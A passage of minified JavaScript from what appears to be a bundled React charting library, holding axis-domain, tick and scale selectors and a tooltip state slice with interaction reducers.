n??S4},z4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:rh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:Go},s7=(e,t)=>e.cartesianAxis.yAxis[t],Lr=(e,t)=>{var n=s7(e,t);return n??z4},o7={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},j0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??o7},Qe=(e,t,n)=>{switch(t){case"xAxis":return Mr(e,n);case"yAxis":return Lr(e,n);case"zAxis":return j0(e,n);case"angleAxis":return v0(e,n);case"radiusAxis":return g0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},l7=(e,t,n)=>{switch(t){case"xAxis":return Mr(e,n);case"yAxis":return Lr(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},ds=(e,t,n)=>{switch(t){case"xAxis":return Mr(e,n);case"yAxis":return Lr(e,n);case"angleAxis":return v0(e,n);case"radiusAxis":return g0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},C4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function k0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var P4=e=>e.graphicalItems.cartesianItems,c7=M([Ye,rl],k0),N0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),il=M([P4,Qe,c7],N0,{memoizeOptions:{resultEqualityCheck:Kd}}),E4=M([il],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(w0)),A4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),u7=M([il],A4),S0=e=>e.map(t=>t.data).filter(Boolean).flat(1),d7=M([il],S0,{memoizeOptions:{resultEqualityCheck:Kd}}),z0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},C0=M([d7,r4],z0),P0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Re(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Re(i,r)}))):e.map(r=>({value:r})),qd=M([C0,Qe,il],P0);function _4(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function dc(e){if(br(e)||e instanceof Date){var t=Number(e);if(je(t))return t}}function ib(e){if(Array.isArray(e)){var t=[dc(e[0]),dc(e[1])];return Sr(t)?t:void 0}var n=dc(e);if(n!=null)return[n,n]}function zr(e){return e.map(dc).filter(Yn)}function f7(e,t,n){return!n||typeof t!="number"||er(t)?[]:n.length?zr(n.flatMap(r=>{var i=Re(e,r.dataKey),a,o;if(Array.isArray(i)?[a,o]=i:a=o=i,!(!je(a)||!je(o)))return[t-a,t+o]})):[]}var ut=e=>{var t=gt(e),n=us(e);return ds(e,t,n)},al=M([ut],e=>e==null?void 0:e.dataKey),p7=M([E4,r4,ut],k4),O4=(e,t,n,r)=>{var i={},a=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(a).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(b0);return[l,{stackedData:Z6(e,d,n),graphicalItems:u}]}))},T4=M([p7,E4,nl,h4],O4),M4=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:a}=t;if(r==null&&n!=="zAxis"){var o=tT(e,i,a);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},m7=M([Qe],e=>e.allowDataOverflow),E0=e=>{var t;if(e==null||!("domain"in e))return rh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=zr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:rh},A0=M([Qe],E0),_0=M([A0,m7],i4),h7=M([T4,Tr,Ye,_0],M4,{memoizeOptions:{resultEqualityCheck:Hd}}),Yd=e=>e.errorBars,x7=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>_4(n,r)),Nu=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var a,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>_4(i,v)),m=Re(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=f7(l,m,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(a==null||xo)&&(o=g)}var y=ib(m);y!=null&&(a=a==null?y[0]:Math.min(a,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=ib(Re(l,t.dataKey));c!=null&&(a=a==null?c[0]:Math.min(a,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),je(a)&&je(o))return[a,o]},v7=M([C0,Qe,u7,Yd,Ye],O0,{memoizeOptions:{resultEqualityCheck:Hd}});function g7(e){var{value:t}=e;if(br(t)||t instanceof Date)return t}var y7=(e,t,n)=>{var r=e.map(g7).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&M5(r))?kN(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},L4=e=>e.referenceElements.dots,fs=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),b7=M([L4,Ye,rl],fs),I4=e=>e.referenceElements.areas,w7=M([I4,Ye,rl],fs),D4=e=>e.referenceElements.lines,j7=M([D4,Ye,rl],fs),R4=(e,t)=>{if(e!=null){var n=zr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},k7=M(b7,Ye,R4),$4=(e,t)=>{if(e!=null){var n=zr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},N7=M([w7,Ye],$4);function S7(e){var t;if(e.x!=null)return zr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:zr(n)}function z7(e){var t;if(e.y!=null)return zr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:zr(n)}var B4=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?S7(r):z7(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},C7=M([j7,Ye],B4),P7=M(k7,C7,N7,(e,t,n)=>Nu(e,n,t)),T0=(e,t,n,r,i,a,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Nu(r,a,i):Nu(a,i);return $I(t,u,e.allowDataOverflow)},E7=M([Qe,A0,_0,h7,v7,P7,_e,Ye],T0,{memoizeOptions:{resultEqualityCheck:Hd}}),A7=[0,1],M0=(e,t,n,r,i,a,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=ir(t,a);if(u&&l==null){var d;return kN(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?y7(r,e,u):i==="expand"?A7:o}},L0=M([Qe,_e,C0,qd,nl,Ye,E7],M0);function _7(e){return e in Vs}var F4=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var a="scale".concat(Ko(r));return _7(a)?a:"point"}}},gi=M([Qe,C4,m0],F4);function I0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?nb(e.scale,n,r):nb(t,n,r)}var D0=(e,t,n)=>{var r=E0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Sr(e))return VI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Sr(e))return HI(e,t.tickCount,t.allowDecimals)}},R0=M([L0,ds,gi],D0),$0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Sr(t)&&Array.isArray(n)&&n.length>0){var i,a,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(a=n[n.length-1])!==null&&a!==void 0?a:0;return[Math.min(o,l),Math.max(c,u)]}return t},O7=M([Qe,L0,R0,Ye],$0),T7=M(qd,Qe,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(zr(e.map(f=>f.value))).sort((f,m)=>f-m),i=r[0],a=r[r.length-1];if(i==null||a==null)return 1/0;var o=a-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!je(e))return 0;var a=t==="vertical"?r.height:r.width;if(i==="gap")return e*a/2;if(i==="no-gap"){var o=nn(n,e*a),l=e*a/2;return l-o-(l-o)/a*o}return 0}),M7=(e,t,n)=>{var r=Mr(e,t);return r==null||typeof r.padding!="string"?0:W4(e,"xAxis",t,n,r.padding)},L7=(e,t,n)=>{var r=Lr(e,t);return r==null||typeof r.padding!="string"?0:W4(e,"yAxis",t,n,r.padding)},I7=M(Mr,M7,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),D7=M(Lr,L7,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),R7=M([xt,I7,Pd,Cd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:a}=r;return i?[a.left,n.width-a.right]:[e.left+t.left,e.left+e.width-t.right]}),$7=M([xt,_e,D7,Pd,Cd,(e,t,n)=>n],(e,t,n,r,i,a)=>{var{padding:o}=i;return a?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),sl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return R7(e,n,r);case"yAxis":return $7(e,n,r);case"zAxis":return(i=j0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return b4(e);case"radiusAxis":return w4(e,n);default:return}},U4=M([Qe,sl],Ud),B7=M([gi,O7],N4),Gd=M([Qe,gi,B7,U4],I0);M([il,Yd,Ye],x7);function V4(e,t){return e.idt.id?1:0}var Xd=(e,t)=>t,Zd=(e,t,n)=>n,F7=M(Sd,Xd,Zd,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(V4)),W7=M(zd,Xd,Zd,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(V4)),H4=(e,t)=>({width:e.width,height:t.height}),U7=(e,t)=>{var n=typeof t.width=="number"?t.width:Go;return{width:n,height:e.height}};M(xt,Mr,H4);var V7=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},H7=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},K7=M(_r,xt,F7,Xd,Zd,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=H4(t,l);o==null&&(o=V7(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;a[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),a}),q7=M(Ar,xt,W7,Xd,Zd,(e,t,n,r,i)=>{var a={},o;return n.forEach(l=>{var c=U7(t,l);o==null&&(o=H7(t,r,e));var u=r==="left"&&!i||r==="right"&&i;a[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),a}),Y7=(e,t)=>{var n=Mr(e,t);if(n!=null)return K7(e,n.orientation,n.mirror)};M([xt,Mr,Y7,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var G7=(e,t)=>{var n=Lr(e,t);if(n!=null)return q7(e,n.orientation,n.mirror)};M([xt,Lr,G7,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});M(xt,Lr,(e,t)=>{var n=typeof t.width=="number"?t.width:Go;return{width:n,height:e.height}});var K4=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:a,dataKey:o}=n,l=ir(e,r),c=t.map(u=>u.value);if(o&&l&&a==="category"&&i&&M5(c))return c}},B0=M([_e,qd,Qe,Ye],K4),q4=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:a}=n,o=ir(e,r);if(o&&(i==="number"||a!=="auto"))return t.map(l=>l.value)}},F0=M([_e,qd,ds,Ye],q4);M([_e,l7,gi,Gd,B0,F0,sl,R0,Ye],(e,t,n,r,i,a,o,l,c)=>{if(t!=null){var u=ir(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:a,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var X7=(e,t,n,r,i,a,o,l,c)=>{if(!(t==null||r==null)){var u=ir(e,c),{type:d,ticks:f,tickCount:m}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&a!=null&&a.length>=2?Ft(a[0]-a[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return je(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(Yn):u&&l?l.map((y,v)=>{var b=r.map(y);return je(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(Yn):r.ticks?r.ticks(m).map((y,v)=>{var b=r.map(y);return je(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(Yn):r.domain().map((y,v)=>{var b=r.map(y);return je(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(Yn)}};M([_e,ds,gi,Gd,R0,sl,B0,F0,Ye],X7);var Z7=(e,t,n,r,i,a,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=ir(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?Ft(r[0]-r[1])*2*u:u,l&&a?a.map((d,f)=>{var m=n.map(d);return je(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(Yn):n.ticks?n.ticks(c).map((d,f)=>{var m=n.map(d);return je(m)?{coordinate:m+u,value:d,index:f,offset:u}:null}).filter(Yn):n.domain().map((d,f)=>{var m=n.map(d);return je(m)?{coordinate:m+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(Yn)}},Y4=M([_e,ds,Gd,sl,B0,F0,Ye],Z7),G4=M(Qe,Gd,(e,t)=>{if(!(e==null||t==null))return ku(ku({},e),{},{scale:t})}),Q7=M([Qe,gi,L0,U4],I0);M((e,t,n)=>j0(e,n),Q7,(e,t)=>{if(!(e==null||t==null))return ku(ku({},e),{},{scale:t})});var J7=M([_e,Sd,zd],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),X4=e=>e.options.defaultTooltipEventType,Z4=e=>e.options.validateTooltipEventTypes;function Q4(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function W0(e,t){var n=X4(e),r=Z4(e);return Q4(t,n,r)}function eD(e){return xe(t=>W0(t,e))}var J4=(e,t)=>{var n,r=Number(t);if(!(er(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},tD=e=>e.tooltip.settings,Hr={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},nD={itemInteraction:{click:Hr,hover:Hr},axisInteraction:{click:Hr,hover:Hr},keyboardInteraction:Hr,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},eS=Yt({name:"tooltip",initialState:nD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:$e()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=In(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:$e()},removeTooltipEntrySettings:{reducer(e,t){var n=In(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:$e()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:rD,replaceTooltipEntrySettings:iD,removeTooltipEntrySettings:aD,setTooltipSettingsState:sD,setActiveMouseOverItemIndex:tS,mouseLeaveItem:oD,mouseLeaveChart:nS,setActiveClickItemIndex:lD,setMouseOverAxisIndex:rS,setMouseClickAxisIndex:cD,setSyncInteraction:ih,setKeyboardInteraction:ah}=eS.actions,uD=eS.reducer;function ab(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Bl(e){for(var t=1;t{if(t==null)return Hr;var i=mD(e,t,n);if(i==null)return Hr;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var a=e.settings.active===!0;if(hD(i)){if(a)return Bl(Bl({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return Bl(Bl({},Hr),{},{coordinate:i.coordinate})};function xD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function vD(e,t){var n=xD(e),r=t[0],i=t[1];if(n===void 0)return!1;var a=Math.min(r,i),o=Math.max(r,i);return n>=a&&n<=o}function gD(e,t,n){if(n==null||t==null)return!0;var r=Re(e,t);return r==null||!Sr(n)?!0:vD(r,n)}var U0=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var a=Number(i);if(!je(a))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(a,l)),u=t[c];return u==null||gD(u,n,r)?String(c):null},aS=(e,t,n,r,i,a,o)=>{if(a!=null){var l=o[0],c=l==null?void 0:l.getPosition(a);if(c!=null)return c;var u=i==null?void 0:i[Number(a)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},sS=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var a=e.tooltipItemPayloads[0];return a!=null?[a]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},oS=e=>e.options.tooltipPayloadSearcher,ps=e=>e.tooltip;function sb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ob(e){for(var t=1;t{if(!(t==null||a==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((m,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=jD(g,l),b=Array.isArray(v)?Uk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,k;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?k=L5(b,r,i):k=a(b,t,c,j),Array.isArray(k))k.forEach(N=>{var z=ob(ob({},y),{},{name:N.name,unit:N.unit,color:void 0,fill:void 0});m.push(hy({tooltipEntrySettings:z,dataKey:N.dataKey,payload:N.payload,value:Re(N.payload,N.dataKey),name:N.name}))});else{var S;m.push(hy({tooltipEntrySettings:y,dataKey:w,payload:k,value:Re(k,w),name:(S=Re(k,j))!==null&&S!==void 0?S:y==null?void 0:y.name}))}return m},f)}},V0=M([ut,C4,m0],F4),kD=M([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),ND=M([gt,us],k0),ms=M([kD,ut,ND],N0,{memoizeOptions:{resultEqualityCheck:Kd}}),SD=M([ms],e=>e.filter(w0)),zD=M([ms],S0,{memoizeOptions:{resultEqualityCheck:Kd}}),hs=M([zD,Tr],z0),CD=M([SD,Tr,ut],k4),H0=M([hs,ut,ms],P0),cS=M([ut],E0),PD=M([ut],e=>e.allowDataOverflow),uS=M([cS,PD],i4),ED=M([ms],e=>e.filter(w0)),AD=M([CD,ED,nl,h4],O4),_D=M([AD,Tr,gt,uS],M4),OD=M([ms],A4),TD=M([hs,ut,OD,Yd,gt],O0,{memoizeOptions:{resultEqualityCheck:Hd}}),MD=M([L4,gt,us],fs),LD=M([MD,gt],R4),ID=M([I4,gt,us],fs),DD=M([ID,gt],$4),RD=M([D4,gt,us],fs),$D=M([RD,gt],B4),BD=M([LD,$D,DD],Nu),FD=M([ut,cS,uS,_D,TD,BD,_e,gt],T0),ol=M([ut,_e,hs,H0,nl,gt,FD],M0),WD=M([ol,ut,V0],D0),UD=M([ut,ol,WD,gt],$0),dS=e=>{var t=gt(e),n=us(e),r=!1;return sl(e,t,n,r)},fS=M([ut,dS],Ud),pS=M([ut,V0,UD,fS],I0),VD=M([_e,H0,ut,gt],K4),HD=M([_e,H0,ut,gt],q4),KD=(e,t,n,r,i,a,o,l)=>{if(t){var{type:c}=t,u=ir(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?Ft(i[0]-i[1])*2*f:f,u&&o?o.map((m,h)=>{var x=r.map(m);return je(x)?{coordinate:x+f,value:m,index:h,offset:f}:null}).filter(Yn):r.domain().map((m,h)=>{var x=r.map(m);return je(x)?{coordinate:x+f,value:a?a[m]:m,index:h,offset:f}:null}).filter(Yn)}}},Ir=M([_e,ut,V0,pS,dS,VD,HD,gt],KD),K0=M([X4,Z4,tD],(e,t,n)=>Q4(n.shared,e,t)),mS=e=>e.tooltip.settings.trigger,q0=e=>e.tooltip.settings.defaultIndex,ll=M([ps,K0,mS,q0],iS),Qa=M([ll,hs,al,ol],U0),hS=M([Ir,Qa],J4),xS=M([ll],e=>{if(e)return e.dataKey}),qD=M([ll],e=>{if(e)return e.graphicalItemId}),vS=M([ps,K0,mS,q0],sS),YD=M([Ar,_r,_e,xt,Ir,q0,vS],aS),GD=M([ll,YD],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),XD=M([ll],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),ZD=M([vS,Qa,Tr,al,hS,oS,K0],lS),QD=M([ZD],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function lb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function cb(e){for(var t=1;txe(ut),rR=()=>{var e=nR(),t=xe(Ir),n=xe(pS);return nu(!e||!n?void 0:cb(cb({},e),{},{scale:n}),t)};function ub(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ua(e){for(var t=1;t{var i=t.find(a=>a&&a.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},lR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var a=i.coordinate,{radius:o}=r;return ua(ua(ua({},r),rt(r.cx,r.cy,o,a)),{},{angle:a,radius:o})}var l=i.coordinate,{angle:c}=r;return ua(ua(ua({},r),rt(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function cR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var gS=(e,t,n,r,i)=>{var a,o=(a=t==null?void 0:t.length)!==null&&a!==void 0?a:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(m=n[l+1])===null||m===void 0?void 0:m.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(Ft(x-h)!==Ft(g-x)){var v=[];if(Ft(g-x)===Ft(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var k;return(k=n[l])===null||k===void 0?void 0:k.index}}else{var S=Math.min(h,g),N=Math.max(h,g);if(e>(S+x)/2&&e<=(N+x)/2){var z;return(z=n[l])===null||z===void 0?void 0:z.index}}}else if(t)for(var O=0;O(_.coordinate+P.coordinate)/2||O>0&&O(_.coordinate+P.coordinate)/2&&e<=(_.coordinate+T.coordinate)/2)return _.index}}return-1},yS=()=>xe(m0),Y0=(e,t)=>t,bS=(e,t,n)=>n,G0=(e,t,n,r)=>r,uR=M(Ir,e=>md(e,t=>t.coordinate)),X0=M([ps,Y0,bS,G0],iS),Z0=M([X0,hs,al,ol],U0),dR=(e,t,n)=>{if(t!=null){var r=ps(e);return 